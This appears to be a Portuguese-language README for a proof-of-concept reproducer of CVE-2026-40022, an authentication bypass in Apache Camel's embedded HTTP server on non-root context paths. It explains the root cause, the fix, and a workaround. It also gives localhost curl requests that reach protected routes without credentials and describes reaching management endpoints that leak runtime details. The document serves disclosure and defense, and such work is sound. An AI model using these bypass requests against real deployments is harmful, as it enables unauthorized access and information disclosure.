
Reprodutor para CVE-2026-40022: bypass de autenticação do Apache Camel camel-platform-http-main em caminhos de contexto não raiz
Este projeto demonstra um contorno de autenticação no componente camel-platform-http-main do Apache Camel (o servidor HTTP/gerenciamento embutido do main runtime do Camel), registrado como CVE-2026-40022. Quando a autenticação está habilitada e um caminho de contexto não-raiz (ex.: /api ou /admin) é configurado, o manipulador de autenticação cobre apenas o caminho de contexto exato, então requisições não autenticadas para subcaminhos alcançam rotas protegidas e endpoints de gerenciamento.
Advisory: https://camel.apache.org/security/CVE-2026-40022.html
| Propriedade | Valor |
|---|
| Componente | camel-platform-http-main (servidor HTTP/gerenciamento embutido do runtime Camel) |
| Classes Afetadas | BasicAuthenticationConfigurer, JWTAuthenticationConfigurer, MainAuthenticationConfigurer |
| Causa raiz | Quando authenticationPath não está definido, ele é derivado de camel.server.path; com o modelo de montagem de sub-roteador do Vert.x, o manipulador de autenticação corresponde apenas ao caminho de contexto exato, não aos seus subcaminhos |
| CWE | CWE-287: Autenticação Imprópria (contorno de autenticação) |
| Impacto | Acesso não autenticado a rotas de negócio protegidas e endpoints de gerenciamento (ex.: /observe/info divulgação de metadados do runtime) |
| Versões Afetadas | De 4.14.1 antes de 4.14.6, e de 4.15.0 antes de 4.18.2 |
| Versões Corrigidas | 4.14.6, 4.18.2, 4.20.0 |
| Relator | Jihang Yu |
| PRs | apache/camel#22474 (main), #22475 (4.18.x), #22476 (4.14.x) |
BasicAuthenticationConfigurer (e JWTAuthenticationConfigurer) resolve o caminho que o manipulador
de autenticação protege a partir de properties.getAuthenticationPath(), caindo para
properties.getPath() (o caminho de contexto camel.server.path) quando não está definido explicitamente:
String path = resolveAuthenticationPath(properties.getAuthenticationPath(), properties.getPath());
O servidor Vert.x monta um sub-roteador em <contextPath>* e registra o manipulador de autenticação
dentro desse sub-roteador no caminho resolvido. Nas versões afetadas, o caminho resolvido é o próprio
caminho de contexto, então — relativo ao sub-roteador já montado em /api — o manipulador de autenticação
acaba correspondendo a /api/api em vez de cada subcaminho. Como resultado:
/api/api é desafiado (401) — o manipulador existe, apenas com escopo incorreto/api/hello (a rota de negócio real) não é desafiado → servido sem credenciaisA correção faz resolveAuthenticationPath retornar /*, para que o manipulador cubra todos os subcaminhos
do sub-roteador.
application.properties — um caminho de contexto não-raiz com autenticação habilitada e authenticationPath não definido:
camel.server.enabled = true
camel.server.port = 8080
camel.server.path = /api
camel.server.authenticationEnabled = true
camel.server.basicPropertiesFile = auth.properties
A rota é servida em /api/hello.
Nenhum serviço externo ou container Docker é necessário — o servidor HTTP vulnerável é o próprio aplicativo.
mvn clean package -DskipTests
java -jar target/cve-2026-40022-platform-http-main-0.0.1-SNAPSHOT.jar
curl -i http://localhost:8080/api/api
# -> HTTP/1.1 401 Unauthorized
# WWW-Authenticate: Basic realm="vertx-web"
O BasicAuthHandler está ativo — mas com escopo incorreto no caminho de contexto exato.
curl -i http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
# hello-response (esta é uma rota de negócio PROTEGIDA)
Em uma versão corrigida (4.14.6 / 4.18.2 / 4.20.0) isso retorna 401 Unauthorized.
curl -i -u camel:propertiesPass http://localhost:8080/api/hello
# -> HTTP/1.1 200 OK
A mesma falha se aplica ao servidor de gerenciamento (camel.management.path, ex.: /admin). Uma
requisição não autenticada para um subcaminho como /admin/observe/info alcança o endpoint de
gerenciamento, que pode divulgar metadados do runtime: o usuário do SO, diretório de trabalho/home,
ID do processo, informações da JVM e do SO.
camel-platform-http-main.camel.server.path / camel.management.path).camel.server.authenticationPath / camel.management.authenticationPath não definido explicitamente.Atualize para 4.14.6 / 4.18.2 / 4.20.0. A correção (resolveAuthenticationPath) faz o manipulador
de autenticação cobrir todo subcaminho:
default String resolveAuthenticationPath(String authenticationPath, String contextPath) {
if (authenticationPath != null && !authenticationPath.isBlank()) {
return authenticationPath;
}
return "/*"; // antes: o caminho de contexto exato
}
Até atualizar:
camel.server.authenticationPath = /* (e camel.management.authenticationPath = /*)
para que o manipulador cubra todos os subcaminhos.CVE-2026-40022/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Ponto de entrada do runtime Camel main
│ └── HelloRoute.java # uma rota platform-http protegida (/api/hello)
└── resources/
├── application.properties # caminho não-raiz + autenticação habilitada (a config vulnerável)
└── auth.properties # usuário basic-auth (camel / propertiesPass)
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.